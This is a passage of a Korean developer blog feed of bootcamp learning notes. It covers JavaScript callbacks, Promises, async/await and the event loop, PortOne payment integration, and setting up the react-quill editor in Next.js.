    bb.addEventListener(&quot;load&quot;, (res: any) =&gt; {
     console.log(res)
         const userId = JSON.parse(res.target.response).UserId 
    });
  });
};</code></pre>
<p>console을 통해 <strong>랜덤 수</strong>에 해당하는 게시글 데이터가 <code>res</code>에 들어온 것을 확인할 수 있다. 하지만 응답받은 데이터는 <strong>문자열</strong>로 되어있어서 가공 및 활용이 어렵다. </p>
<p><code>JSON.parse()</code>를 이용해서 문자열을 객체로 바꿔주고, 해당 데이터의 작성자 정보(<code>UserId</code>)를 이용해서 세 번째 요청을 보내준다. </p>
<pre><code class="language-javascript">const onClickCallback = () =&gt; {
    // 첫번째 랜덤숫자 api 요청
  const aaa = new XMLHttpRequest();
  aa.open(&quot;get&quot;, &quot;http://numbersapi.com/random?min=1&amp;max=200&quot;);
  aa.send();
  aa.addEventListener(&quot;load&quot;, (res: any) =&gt; {
    const num = res.target.response.split(&quot; &quot;)[0];

         // 두번째 posts api 요청
       const bbb = new XMLHttpRequest();
            bb.open(&quot;get&quot;, `https://koreanjson.com/posts/${num}`);
        bb.send();
        bb.addEventListener(&quot;load&quot;, (res: any) =&gt; {
          const userId = JSON.parse(res.target.response).UserId;

             // 세번째 UserId api 요청   
           const ccc = new XMLHttpRequest();
            cc.open(&quot;get&quot;, `https://koreanjson.com/posts?userId=${userId}`);
            cc.send();
            cc.addEventListener(&quot;load&quot;, (res: any) =&gt; {
                    console.log(res)
              console.log(&quot;최종 결과값 !&quot;);
         console.log(JSON.parse(res.target.response));
      });
    });
  });
};</code></pre>
<p>두 번째 요청과 마찬가지로 <code>JSON.parse()</code>를 이용해서 문자열을 객체로 바꿔준다. </p>
<br/>

<p>요청이 반복될수록 오른쪽 방향 대각선으로 쑥 파이는 형태를 볼 수 있다. API 요청이 거듭된다면 코드의 가독성이 심하게 떨어질 것이다. 이러한 현상을 <code>콜백지옥</code>이라고 한다.</p>
<br/>

<h3 id="span-stylecolororangepromisespan"><span style="color:orange">Promise</span></h3>
<p>콜백지옥을 막고자 나온 것이 <code>Promise</code>다. 위에 callback에서 했던 작업을 Promise 객체에도 적용해보았다.</p>
<p><code>Promise</code>는 자바스크립트의 비동기 처리, 그 중에서도 특히 외부에서 많은 데이터를 불러오는 작업에 사용된다. promise 객체를 이용해서 만든 라이브러리가 <code>axios</code>이기 때문에, axios를 실습에 사용했다. </p>
<p>만약 axios를 사용하지 않고 Promise 객체를 직접 사용하려면 다음과 같이 하면 된다.</p>
<pre><code class="language-javascript">const result = await new Promise((resolve, reject) =&gt; {
    const aaa = new XMLHttpRequest();
  aaa.open(&quot;get&quot;, &quot;http://numbersapi.com/random?min=1&amp;max=200&quot;);
  aaa.send();
  aaa.addEventListener(&quot;load&quot;, (res: any) =&gt; {
        resolve(res)
  });
})
// resolve : 요청이 성공했을 경우
// reject : 요청이 실패했을 경우</code></pre>
<br/>

<p><strong>async/await</strong>가 등장하기 전에는 promise 객체에 제공되는 <code>.then</code>이라는 기능을 사용했다. 다음과 같이 써줄 수 있다.</p>
<pre><code class="language-javascript">const onClickPromise = () =&gt; {
  axios
    .get(&quot;http://numbersapi.com/random?min=1&amp;max=200&quot;)
    .then((res) =&gt; {
      const num = res.data.split(&quot; &quot;)[0];
      return axios.get(`https://koreanjson.com/posts/${num}`);
    })
    .then((res) =&gt; {
      const userId = res.data.UserId;
      // prettier-ignore
      return axios.get(`https://koreanjson.com/posts?userId=${userId}`)
    })
    .then((res) =&gt; {
      console.log(res.data);
    });
};</code></pre>
<p>callback에 비해 훨씬 코드가 간단해졌다. promise를 사용할 경우 각 요청들이 체인으로 연결되는데, 이것을 <code>Promise Chain</code> 또는 <code>Promise Chaining</code>이라고 한다.</p>
<br/>

<p>하지만, <strong>promise</strong>는 직관적이지 못하다. 다음과 같이 호출에 대한 결과값을 상수에 담아 사용하는 것이 불가능하다.</p>
<pre><code class="language-javascript">const result = axios.get // === 생략 ====</code></pre>
<p>함수를 실행하면 결과 값이 완전한 데이터가 아니라 Promise의 형태로 들어온다.</p>
<p>또한, Promise는 코드의 실행 순서가 직관적이지 못하다. <code>axios</code>를 이용한 <strong>비동기 작업</strong>이 TaskQueue 안에 들어가, 실행 순서가 뒤로 밀리게 된다.</p>
<br/>

<h3 id="asyncawait-실습">Async/Await 실습</h3>
<p><code>async/await</code>를 이용하면 코드가 직관적이고 심플해진다!</p>
<pre><code class="language-javascript">const onClickAsyncAwait = async () =&gt; {
  // prettier-ignore
  const res1 = await axios.get(&quot;http://numbersapi.com/random?min=1&amp;max=200&quot;);
  const num = res1.data.split(&quot; &quot;)[0];

  const res2 = await axios.get(`https://koreanjson.com/posts/${num}`);
  const userId = res2.data.UserId;

  // prettier-ignore
  const res3 = await axios.get(`https://koreanjson.com/posts?userId=${userId}`)
  console.log(res3.data);
};</code></pre>
<h5 id="참고-asyncawait는-promise에만-붙일-수-있다-axios가-promise-객체를-이용해-만들어진-라이브러리이기-때문에-asyncawait를-사용할-수-있다">참고! async/await는 promise에만 붙일 수 있다. axios가 promise 객체를 이용해 만들어진 라이브러리이기 때문에 async/await를 사용할 수 있다.</h5>
<p><br/><br></p>
<h2 id="매크로-태스크-큐-vs-마이크로-태스크-큐">매크로 태스크 큐 vs 마이크로 태스크 큐</h2>
<br/>

<p>Promise 실습을 하면서, Promise로 실행하는 함수는 태스크 큐에 들어간다는 것을 떠올려보자. 태스크 큐는 딱 하나만 있는 것이 아니라, 여러 개가 동시에 존재한다. 그 중 대표적인 두 가지 태스크 큐를 공부했다.</p>
<blockquote>
<p><code>매크로 태스크 큐 (MacroTaskQueue)</code>: <strong>setTimeout, setInterval</strong> 등이 들어가는 큐 
<code>마이크로 태스크 큐 (MicroTaskQueue)</code>: <strong>Promise</strong> 등이 들어가는 큐</p>
</blockquote>
<br/>


<h3 id="태스크-큐들-간의-실행-우선순위">태스크 큐들 간의 실행 우선순위</h3>
<p>매크로 태스크 큐와 마이크로 태스크 큐가 부딪힐 경우에는 <code>마이크로 태스크 큐</code>가 우선한다.</p>
<br/>

<h3 id="await와-마이크로-큐의-관계">await와 마이크로 큐의 관계</h3>
<br/>

<h4 id="issubmitting을-활용한-중복-mutation-방지">isSubmitting을 활용한 중복 mutation 방지</h4>
<p>실수로 <strong>mutation</strong> api 요청을 <strong>여러 번</strong> 보내게 될 경우를 대비해서 <code>isSubmitting</code>을 활용해 두 번째 요청부터는 막아줄 수 있다.</p>
<pre><code class="language-javascript">import axoios from &#39;axios&#39;

export default function IsSubmitting(){
    const [isSubmitting,setIsSubmitting] = useState(false)

    const onClickSubmit = async ()=&gt;{
        // 등록하는 동안은 등록버튼이 작동하지 않도록 함
        setIsSubmitting(true)

        const result = await axios.get(&quot;https://koreanjson.com/posts/1&quot;)

        // 등록이 완료되었다면 다시 버튼이 동작하도록 함
        setIsSubmitting(false)

    }

    return(
        &lt;button onClick={onClickSubmit} disabled={isSubmitting}&gt; 등록하기 등의 API 요청버튼 &lt;/button&gt;
    ) 
}</code></pre>
<p>그런데 여기서 <strong>setState</strong>는 최종적으로 바뀐 결과값으로 반영된다고 알고 있다. 위에 코드처럼 <strong>setState</strong>를 여러 번 바꿔도 맨 마지막 값만 반영되지 않나?</p>
<p>이 부분은 await와 마이크로 큐의 관계를 알고 있어야 한다.</p>
<br/>

<h4 id="await와-마이크로-큐의-관계-1">await와 마이크로 큐의 관계</h4>
<pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;ko&quot;&gt;
  &lt;head&gt;
    &lt;title&gt;이벤트루프&lt;/title&gt;
    &lt;script&gt;
      function onClickLoop() {
        console.log(&quot;=======시작!!!!=======&quot;);

        function aaa() {
          console.log(&quot;aaa-시작&quot;);
          bbb();
          console.log(&quot;aaa-끝&quot;);
        }

        async function bbb() {
          console.log(&quot;bbb-시작&quot;);
          const friend = await &quot;철수&quot;;
          console.log(friend);
        }

        aaa();

        console.log(&quot;=======끝!!!!=======&quot;);
      }
    &lt;/script&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;button onclick=&quot;onClickLoop()&quot;&gt;시작하기&lt;/button&gt;
  &lt;/body&gt;
&lt;/html&gt;</code></pre>
<p>콘솔창을 열어서 확인해보면 결과는 다음과 같이 나온다.</p>
<p><img src="https://velog.velcdn.com/images/code_june/post/0825b53b-44b2-44ee-b4cc-b89180d299e6/image.png" alt=""></p>
<blockquote>
<p><strong>구체적인 함수 실행 과정</strong></p>
</blockquote>
<ol>
<li>callstack에 onClickLoop 들어옴</li>
<li><code>====시작!!!!====</code> 콘솔에 찍힘</li>
<li>aaa 함수가 callstack에 쌓임</li>
<li><code>aaa-시작</code> 콘솔에 찍힘</li>
<li>bbb 함수가 callstack에 쌓임</li>
<li><code>bbb-시작</code>이 콘솔에 찍힘</li>
<li>await에서 bbb 함수 안 실행 중단하고, async 함수가 마이크로 큐에 들어감(대기)</li>
<li>bbb 함수 callstack에서 없어짐</li>
<li><code>aaa-끝</code> 콘솔에 찍힘. aaa 함수 callstack에서 없어짐</li>
<li><code>====끝!!!!====</code> 콘솔에 찍힘. onClickLoop 함수 callstack에서 없어짐</li>
<li>bbb await callstack에 가져와서 실행. <code>철수</code> 콘솔에 찍힘</li>
</ol>
<p>자바스크립트는 <code>await</code>가 나오면 <strong>async</strong>를 감싸고 있는 함수가 하던 일을 중단하고 <code>마이크로 큐</code>에 들어간다!</p>
<p>그리고 <strong>async</strong>가 감싸고 있는 함수가 <strong>마이크로 큐</strong>에 들어갈 때에는 실행하던 위치를 기억한다. </p>
<p>따라서 마이크로 큐에서 나와 실행될 때에는 기억한 위치부터 실행된다. </p>
<br/>

<p>또 다른 문제를 풀어보자. </p>
<pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;ko&quot;&gt;
  &lt;head&gt;
    &lt;title&gt;이벤트루프&lt;/title&gt;
    &lt;script&gt;
      function onClickLoop() {
        console.log(&quot;=======시작!!!!=======&quot;);

        function aaa() {
          console.log(&quot;aaa-시작&quot;);
          bbb();
          console.log(&quot;aaa-끝&quot;);
        }

        async function bbb() {
          console.log(&quot;bbb-시작&quot;);
          await ccc();
          console.log(&quot;bbb-끝&quot;);
        }

        async function ccc() {
          console.log(&quot;ccc-시작&quot;);
          const friend = await &quot;철수&quot;;
          console.log(friend);
        }

        aaa();

        console.log(&quot;=======끝!!!!=======&quot;);
      }
    &lt;/script&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;button onclick=&quot;onClickLoop()&quot;&gt;시작하기&lt;/button&gt;
  &lt;/body&gt;
&lt;/html&gt;</code></pre>
<blockquote>
<p><strong>콘솔에 찍히는 순서</strong>
=======시작!!!!=======
aaa-시작
bbb-시작
ccc-시작
aaa-끝
=======끝!!!!=======
철수
bbb-끝</p>
</blockquote>
<blockquote>
<p><strong>구체적인 실행 과정</strong></p>
</blockquote>
<ol>
<li>onClickLoop callstack에 쌓임</li>
<li><code>=======시작!!!!=======</code> 콘솔에 찍힘</li>
<li>aaa 함수 callstack에 쌓임</li>
<li><code>aaa-시작</code> 콘솔에 찍힘</li>
<li>bbb 함수 실행(callstack), <code>bbb-시작</code> 콘솔에 찍힘</li>
<li>ccc 함수 실행(callstack), <code>ccc-시작</code> 콘솔에 찍힘</li>
<li>ccc 함수 안 하던거 중단하고, <strong>await</strong> 부분이 마이크로큐에 들어감</li>
<li>bbb 함수 안 await 부분도 마이크로큐에 들어감</li>
<li><code>aaa-끝</code> 콘솔에 찍힘</li>
<li><code>=======끝!!!!=======</code> 찍힘. onClickLoop 종료</li>
<li>ccc 함수(await 부분) callstack에 가져옴</li>
<li><code>철수</code> 찍힘. ccc 함수 종료</li>
<li>bbb 함수(await 부분) callstack으로 가져옴</li>
<li><code>bbb-끝</code> 찍힘. bbb 함수 종료</li>
</ol>
<br/>

<hr>
]]></description>
        </item>
        <item>
            <title><![CDATA[✍🏻 [Code Camp_TIL] 29일차: 시간관련 이벤트, event loop, 스레드]]></title>
            <link>https://velog.io/@code_june/Code-CampTIL-29%EC%9D%BC%EC%B0%A8-%EC%8B%9C%EA%B0%84%EA%B4%80%EB%A0%A8-%EC%9D%B4%EB%B2%A4%ED%8A%B8</link>
            <guid>https://velog.io/@code_june/Code-CampTIL-29%EC%9D%BC%EC%B0%A8-%EC%8B%9C%EA%B0%84%EA%B4%80%EB%A0%A8-%EC%9D%B4%EB%B2%A4%ED%8A%B8</guid>
            <pubDate>Sun, 23 Apr 2023 13:04:09 GMT</pubDate>
            <description><![CDATA[<h2 id="시간관련-이벤트">시간관련 이벤트</h2>
<p>결제를 완료하고 백엔드로 API 요청을 보낼 때 결제가 이루어진 시점의 시간을 DB에 함께 저장하게 된다. 이때, <strong>시간을 새로 생성하는 작업</strong>은 프론트엔드 서버에서 하면 안 된다.</p>
<br/>

<h3 id="프론트엔드-서버의-시간의-문제점-이해">프론트엔드 서버의 시간의 문제점 이해</h3>
<p><img src="https://velog.velcdn.com/images/code_june/post/b5c62ab0-00da-4027-9f71-7a2371904c01/image.png" alt=""></p>
<p>위 그림처럼 사용자가 PC의 시각을 실제와 다르게 <strong>조작</strong>해서 사용하는 경우, 프론트엔드 서버에서 생성한 시간도 조작된 시각을 따라간다. 따라서 시간을 생성하는 작업은 <strong>백엔드</strong>에서 이루어져야 한다.</p>
<br/>

<p>글로벌 서비스의 경우는 어떨까? 백엔드에서 <code>UTC(세계표준시간)</code> 기준으로 시간을 생성하고, 데이터베이스에 UTC 시간으로 저장된다. 그리고 백엔드에서 응답을 받아올 때에는 받아온 UTC 시간을 해당 나라의 시간으로 환산해서 보여주게 된다.<br><img src="https://velog.velcdn.com/images/code_june/post/b0e75af3-c491-4685-a889-0cd05ccc4227/image.png" alt=""></p>
<br/>

<p>이러한 시간 관련 처리를 도와주는 대표적인 라이브러리가 있다!</p>
<blockquote>
<p><strong>moment.js 라이브러리</strong></p>
</blockquote>
<Br/>
<br/>

<h2 id="이벤트">이벤트</h2>
<br/>

<h3 id="이벤트-발생시키는-방법-2가지">이벤트 발생시키는 방법 2가지</h3>
<blockquote>
<ol>
<li>사용자의 행동(클릭, 타이핑 등)</li>
<li>특정 시간에 도달 -&gt; <strong>크론탭</strong></li>
</ol>
</blockquote>
<p><code>크론탭</code>을 이용하면 관리자가 정해진 시간까지 대기하거나, 그 시간에 클릭 등의 이벤트를 직접 발생시킬 필요가 없어진다.</p>
<h5 id="참고-리눅스-기반-os에는-크론탭이-기본으로-깔려있다">참고! 리눅스 기반 OS에는 크론탭이 기본으로 깔려있다.</h5>
<br/>

<h3 id="span-stylecolorred이벤트-루프event-loopspan"><span style="color:red">이벤트 루프(Event Loop)</span></h3>
<h4 id="settimeout의-실체">setTimeout의 실체</h4>
<br/>

<pre><code class="language-html">&lt;!DOCTYPE html&gt;
&lt;html lang=&quot;ko&quot;&gt;
  &lt;head&gt;
    &lt;title&gt;이벤트루프&lt;/title&gt;
    &lt;script&gt;
      const onClickLoop = () =&gt; {
        console.log(&quot;시작!&quot;);

        setTimeout(() =&gt; {
          console.log(&quot;0초 뒤에 실행될 거에요!&quot;);
        }, 0);

        let sum = 0;
        for (let i = 0; i &lt;= 9000000000; i++) {
          sum += 1;
        }

        console.log(&quot;끝!&quot;);
      };
    &lt;/script&gt;
  &lt;/head&gt;
  &lt;body&gt;
    &lt;button onclick=&quot;onClickLoop()&quot;&gt;시작하기&lt;/button&gt;
  &lt;/body&gt;
&lt;/html&gt;</code></pre>
<p>위 코드를 실행시키면 콘솔에 다음과 같은 결과가 뜬다.</p>
<p><img src="https://velog.velcdn.com/images/code_june/post/74675078-90c7-4291-90a8-e31fb89b7b34/image.png" alt=""></p>
<p>코드 순서대로라면 &#39;끝!&#39; 콘솔보다 &#39;0초 뒤에 실행될 거에요!&#39;가 먼저 떠야 하는데 순서가 바뀐 것을 볼 수 있다.</p>
<br/>

<p>이러한 문제가 발생하는 이유는 <strong>자바스크립트의 동작 원리</strong> 때문이다. 위에서 실행시켰던 코드의 실행 순서를 자세하게 살펴보면 다음과 같다.</p>
<blockquote>
<ol>
<li>callStack에서 onClickLoop 함수 실행(Stack - Last In First Out / LIFO 구조)</li>
<li>Background에 setTimeout()을 보내서 실행</li>
<li>setTimeout()이 TaskQueue로 전달되어 쌓임 (Queue - First In First Out / FIFO 구조)</li>
<li>TaskQueue에 쌓이는 함수는 <strong>CallStack이 다 비워진 다음 가장 마지막에 실행</strong>됨</li>
</ol>
</blockquote>
<p>여기서 TaskQueue에 있는 함수를 CallStack으로 보내는 역할을 하는 것이 <code>스레드(Thread)</code>다. </p>
<br/>

<h4 id="싱글스레드-vs-멀티스레드">싱글스레드 vs 멀티스레드</h4>
<p>자바스크립트는 <code>싱글 스레드</code> 방식을 갖고 있다. 싱글 스레드는 CallStack이 비어야만 <strong>TaskQueue</strong>에 있는 작업을 <strong>CallStack</strong>으로 가져온다.</p>
<p>싱글 스레드와 <code>멀티스레드</code>의 차이는 스레드(일꾼)가 하나냐, 여럿이냐의 차이다. 멀티스레드는 동시에 일을 처리하는 것이 아니라 여럿이서 나눠서 한다고 보면 된다.</p>
<p>또한 <code>멀티스레드</code>는 싱글스레드보다 속도가 느릴 수 있다. 하던 일을 중단하고 저장하고 다음 스레드로 넘겨주는(<strong>컨텍스트 스위칭</strong>) 시간이 있기 때문이다. 멀티스레드 언어로는 <strong>자바</strong>, <strong>파이썬</strong> 등이 있다.</p>
<p>둘 중 뭐가 더 좋다고 할 수는 없다. 장단점을 비교해서 맞는 언어를 사용하면 된다. </p>
<br/>

<hr>
]]></description>
        </item>
        <item>
            <title><![CDATA[✍🏻 [Code Camp_TIL] 29일차: 결제 프로세스, 포트원, webhook notification]]></title>
            <link>https://velog.io/@code_june/Code-CampTIL-29%EC%9D%BC%EC%B0%A8-%EA%B2%B0%EC%A0%9C-%ED%94%84%EB%A1%9C%EC%84%B8%EC%8A%A4</link>
            <guid>https://velog.io/@code_june/Code-CampTIL-29%EC%9D%BC%EC%B0%A8-%EA%B2%B0%EC%A0%9C-%ED%94%84%EB%A1%9C%EC%84%B8%EC%8A%A4</guid>
            <pubDate>Sun, 23 Apr 2023 12:59:57 GMT</pubDate>
            <description><![CDATA[<h2 id="결제">결제</h2>
<br/>

<h3 id="결제-프로세스-이해">결제 프로세스 이해</h3>
<br/>

<p><img src="https://velog.velcdn.com/images/code_june/post/9dfdbd1a-a631-4c01-b8cf-e5485eca8e5c/image.png" alt=""></p>
<h4 id="pg사">PG사</h4>
<p>기업이 <strong>카드사</strong>에게 직접 승인을 받아 결제 시스템을 구축하는 방법은 비용과 시간 면에서 비효율적이다. 따라서 최종적으로 결제가 이루어지는 카드사와 기업 간에 결제를 대행해주는 회사(<code>PG사</code>: payment gateway)가 있고, 보통 PG사를 통해서 결제를 진행한다. </p>
<p>PG사의 가이드에 맞춰서 결제 시스템을 개발하면 여러 카드사들에 맞춰서 여러 번 개발 작업을 진행할 필요가 없어진다. </p>
<p>PG사는 기업들에게 <strong>개발 가이드</strong>를 전달하고, 주로 <code>asp, php, jsp</code> 등의 언어로 작성되어 있다. 하지만 가이드가 수백 페이지 정도의 분량이기 때문에 작업에 상당한 시간이 걸린다.</p>
<br/>

<h4 id="결제-솔루션">결제 솔루션</h4>
<p>이러한 작업을 대신해주는 결제 솔루션 업체도 등장했다. PG사마다 다른 개발 가이드를 갖고 있어서 하나의 PG사와 계약을 하고 결제 시스템을 개발한 후에는 다른 업체로 옮기기 어렵다.</p>
<p><code>결제솔루션(결제 API)업체</code>는 이러한 문제점을 보완해준다. 결제 솔루션 업체를 이용하면 개발환경과 상관없이 원하는 PG사와의 결제시스템을 연결시킬 수 있다. </p>
<p>*<em>중견, 중소 *</em>규모 기업의 경우 PG사와 직접 계약하는 것보다 결제 솔루션 업체를 이용하는 것이 효율적이다.</p>
<br/>

<p>결제 실습에서도 결제 솔루션 업체 중 하나인 <code>포트원(구 아임포트)</code>을 이용했다. 포트원을 이용하는 경우, 사용자가 결제를 통해 포인트를 충전하는 과정은 다음과 같다. </p>
<blockquote>
<ol>
<li>사용자가 브라우저에서 충전하기 버튼을 클릭</li>
<li>충전하기 창에서 원하는 금액을 선택하고 결제 버튼 클릭</li>
<li>포트원에서 제공하는 Rest-API를 이용해 결제 요청</li>
<li>결제 성공 시 해당 결제에 대한 imp_uid와 결제 금액 등의 데이터를 돌려받음</li>
<li>성공한 결제 정보를 백엔드 서버로 mutation</li>
<li>db의 유저 포인트 정보에 결제 내역을 업데이트</li>
</ol>
</blockquote>
<p>위와 같은 결제 과정 중 포트원은 다음과 같은 역할을 한다.</p>
<p><img src="https://velog.velcdn.com/images/code_june/post/92c09ad9-76da-4720-b08f-05b1e5340ca7/image.png" alt=""></p>
<br/>

<h4 id="일정의-중요성">일정의 중요성!</h4>
<p>창업할 때 <code>결제 승인 기간</code>은 어느 정도로 잡는게 좋을까?</p>
<p>최소 1달은 잡아야 한다. 포트원을 사용한다고 해도 각각의 PG사와 카드사에게 승인 및 심사를 받아야 하기 때문이다! </p>
<blockquote>
<p><strong>승인 일정: PG사 계약승인(1주) + 카드사 심사(2주) =&gt; 최소 3주 이상</strong></p>
</blockquote>
<br/>

<h3 id="외부-api포트원-사용하기">외부 API(포트원) 사용하기</h3>
<h4 id="포트원-초기-설정">포트원 초기 설정</h4>
<blockquote>
<ol>
<li>포트원 계정 만들기</li>
<li>테스트 모드로 설정</li>
<li>사용할 PG사 선택</li>
</ol>
</blockquote>
<br/>

<h4 id="웹훅노티피케이션">웹훅노티피케이션</h4>
<blockquote>
<p><strong>특정 이벤트가 발생했을 때 타 서비스나 응용 프로그램으로 알림(notification)을 보내는 기능</strong></p>
</blockquote>
<br/>

<p>흔히 아는 <code>무통장 입금</code>을 구현하려면 어떻게 해야 할까? <strong>포트원</strong>에서는 다음과 같이 무통장 입금이 진행된다.</p>
<blockquote>
<ol>
<li>사용자가 무통장 입금을 선택</li>
<li>아임포트에서 제공하는 API를 이용해 <strong>가상 계좌</strong> 생성</li>
<li>결제 중이던 웹브라우저를 실행 종료하고, 가상 계좌를 발급한 은행 서비스에 접속</li>
<li>가상 계좌 유효기간 내에 입금 완료</li>
</ol>
</blockquote>
<p>하지만 여기서 문제가 발생한다. <strong>브라우저</strong>에서 결제가 이루어지는 것이 아니기 때문에 결제 완료 시점에 결제 금액과 imp_uid를 받아서 <strong>백엔드</strong>로 보내줄 수 없다. 이 작업을 위해 포트원은 <code>웹훅노티피케이션(Webhook notification)</code>을 제공한다.</p>
<p><img src="https://velog.velcdn.com/images/code_june/post/b2b78d60-8fb3-4c05-91d6-443d58c3850a/image.png" alt=""></p>
<br/>

<p><strong>웹훅노티피케이션</strong>을 활용하면 다음과 같은 기능을 구현할 수 있다!</p>
<blockquote>
<p><strong>1. 가상계좌를 이용한 무통장 입금
2. 결제 취소
3. 예약 결제
4. 환불</strong></p>
</blockquote>
<p>이 외에도 포트원에서는 영수증, 정기 예약 결제 등 다양한 기능을 가진 <code>Rest-API</code>를 제공한다. <strong>Rest-API 가이드</strong>를 참고하면 좋다!</p>
<br/>

<h4 id="포트원-적용">포트원 적용</h4>
<p>포트원 DOCS 페이지와 깃허브에도 자세하게 설명되어 있다. </p>
<p>포트원을 직접 사용하기 위해서는 포트원 라이브러리를 <code>head</code> 부분에 추가해줘야 한다. Next.js에서는 HTML에 직접 접근하기 어렵기 때문에 Next.js에서 제공하는 <code>Head 태그</code>를 <strong>import</strong>해야 한다.</p>
<p>또한, 포트원 라이브러리를 추가하기 위해 Head 태그로 <code>script 태그</code>를 감싸서 결제 기능을 사용할 페이지의 return 안에 넣어주면 된다.</p>
<pre><code class="language-javascript">import Head from &#39;next/head&#39;;
// 최상단에 next/head 의 Head 태그 호출

&lt;Head&gt;
    &lt;script type=&quot;text/javascript&quot; src=&quot;https://code.jquery.com/jquery-1.12.4.min.js&quot; &gt;&lt;/script&gt;
    &lt;script type=&quot;text/javascript&quot; src=&quot;https://cdn.iamport.kr/js/iamport.payment-1.1.5.js&quot;&gt;&lt;/script&gt;
&lt;/Head&gt;</code></pre>
<br/>

<p>그 후에는 사용하려는 포트원의 <strong>가맹점 식별코드</strong>를 설정해야 한다. 그리고 <code>window.IMP</code>로 포트원을 불러와서 제어할 수 있다.</p>
<pre><code class="language-javascript">const IMP = window.IMP;
IMP.init(&quot;가맹점 식별코드&quot;);

&lt;br/&gt;&lt;br/&gt;</code></pre>
<p><code>가맹점 식별코드</code>는 포트원 관리자 페이지의 시스템 설정 -&gt; 내 정보 -&gt; 가맹점 식별코드에서 확인할 수 있다.</p>
<br/>

<p>나머지 코드를 식별코드를 작성했던 페이지 안에 새로 추가해준다. </p>
<pre><code class="language-javascript">
  IMP.request_pay({
    pg: &quot;html5_inicis&quot;,
    pay_method: &quot;card&quot;,
    //merchant_uid: &quot;결제 번호&quot;,
    name: &quot;아이리버 무선 마우스 외 1개&quot;,
    amount: 10000,
    buyer_email: &quot;이메일@gmail.com&quot;,
    buyer_name: &quot;홍길동&quot;,
    buyer_tel: &quot;010-4242-4242&quot;,
    buyer_addr: &quot;서울특별시 강남구 신사동&quot;,
    buyer_postcode: &quot;01181&quot;,
        m_redirect_url : &quot;/&quot;

  }, function (rsp) { // callback
                if (rsp.success) {
           alert(&#39;결제가 성공했습니다.&#39;);
            // 결제 성공 로직

        } else {
            alert(&#39;결제에 실패했습니다.&#39;);
            // 결제 실패 로직
        }
   });</code></pre>
<p>이제 포트원 관리자 페이지에서 설정해놓은 <strong>PG사의 결제 페이지</strong>를 프로젝트에서 사용할 수 있게 되었다! </p>
<br/>

<p>결제가 성공하면, 포트원으로부터 해당 결제에 대한 <code>rsp(response)</code>를 받아올 수 있다. <strong>rsp</strong>에는 해당 결제에 대한 <strong>imp_uid</strong>와 결제 금액 등의 정보가 담겨 있다. 이 rsp를 이용하여 포인트 충전 API에 결제 정보를 넘겨줄 수 있다.</p>
<br/>

<p>포트원 관리자 페이지의 결제승인내역 페이지에서는 결제 내역(실패 및 성공)을 확인할 수 있다. </p>
<h5 id="참고-반응형-웹-페이지-작업-시에는-m_redirect_url을-설정해서-모바일에서-결제가-완료된-후-돌아올-url까지-연결해줘야-함">참고! 반응형 웹 페이지 작업 시에는 m_redirect_url을 설정해서 모바일에서 결제가 완료된 후 돌아올 url까지 연결해줘야 함!</h5>
<br/>

<hr>
]]></description>
        </item>
        <item>
            <title><![CDATA[✍🏻 [Code Camp_TIL] 28일차: 웹 에디터(react-quill), dynamic import, XSS, dompurify, OWASP]]></title>
            <link>https://velog.io/@code_june/Code-CampTIL-28%EC%9D%BC%EC%B0%A8</link>
            <guid>https://velog.io/@code_june/Code-CampTIL-28%EC%9D%BC%EC%B0%A8</guid>
            <pubDate>Sun, 23 Apr 2023 12:57:20 GMT</pubDate>
            <description><![CDATA[<h2 id="웹-에디터">웹 에디터</h2>
<br/>

<p>textarea 태그를 사용하면 내용을 입력할 때 줄 바꿈한 게 브라우저 상에는 한 줄로 나온다. 또한, 작성자가 볼드, 기울임, 색상 추가 등의 스타일 지정을 하고 싶을 수도 있다. </p>
<p>이러한 점을 충족시켜줄 수 있는 것이 <code>웹 에디터</code>다!</p>
<br/>

<h3 id="웹-에디터-종류">웹 에디터 종류</h3>
<p>찾아보면 React quill, React Draft Wysiwyg, TOAST UI Editor 등 웹 에디터 <strong>라이브러리</strong>가 많이 있다. 그 중 사용자가 더 많은 npm에서 react-quill을 사용해보았다.</p>
<br/>

<h3 id="react-quill-사용방법">react-quill 사용방법</h3>
<h4 id="1-react-quill-설치">1. react-quill 설치</h4>
<blockquote>
<p><strong>yarn add react-quill</strong></p>
</blockquote>
<br/>

<h4 id="2-reactquill-호출">2. ReactQuill 호출</h4>
<p>웹 에디터를 추가할 페이지 상단에 ReactQuill을 호출하고, ReactQuill에서 사용될 스타일 CSS 파일도 호출해준다.</p>
<blockquote>
<pre><code class="language-javascript">import ReactQuill from &#39;react-quill&#39;;
import &#39;react-quill/dist/quill.snow.css&#39;;</code></pre>
</blockquote>
<pre><code>
&lt;br/&gt;

#### 3. ReactQuill 입력

&gt;```javascript
 return (
    &lt;form onSubmit={wrapFormAsync(onClickSubmit)}&gt;
      작성자: &lt;input type=&quot;text&quot; /&gt;
      &lt;br /&gt;
      비밀번호: &lt;input type=&quot;password&quot; /&gt;
      &lt;br /&gt;
      제목: &lt;input type=&quot;text&quot; /&gt;
      &lt;br /&gt;
      내용: &lt;ReactQuill onChange={onChangeContents} /&gt;
      {/* html에서의 onChange와 다르다! */}
      &lt;button&gt;등록하기&lt;/button&gt;
    &lt;/form&gt;
  );
}</code></pre><h5 id="주의-reactquil의-onchange는-개발자가-만들어-놓은-커스텀-요소이다-jsx의-onchange와는-다르다">주의! ReactQuil의 onChange는 개발자가 만들어 놓은 커스텀 요소이다. JSX의 onChange와는 다르다!</h5>
<br/>

<h3 id="dynamic-import">Dynamic Import</h3>
<p>위에서 react quill을 적용한 상태로 브라우저에 접속해보면 <code>document is not defined</code>라는 에러가 발생한다. next.js를 사용하고 있다면 이와 같은 에러는 정상적인 에러다.</p>
<p><strong>next.js</strong>는 기본적으로 <strong>서버사이드 렌더링</strong>을 지원하는데, 서버에서 페이지를 미리 렌더링하는 단계에서는 브라우저 상이 아니기 때문에 <strong>window</strong>나 <strong>document</strong>가 존재하지 않는다. window 또는 document object를 선언하기 전이여서 document가 정의되지 않았다고 에러가 뜨는 것이다.</p>
<h4 id="따라서-에러를-해결하기-위해서는-document-선언을-먼저-해주고-나서-react-quill을-import해야-한다">따라서 에러를 해결하기 위해서는 document 선언을 먼저 해주고 나서 react-quill을 import해야 한다!</h4>
<Br/>

<p><code>dynamic import</code>를 사용하면, 해당 모듈을 document 선언 이후에 import되도록 할 수 있다. </p>
<pre><code class="language-javascript">// import ReactQuill from &#39;react-quill&#39;; 
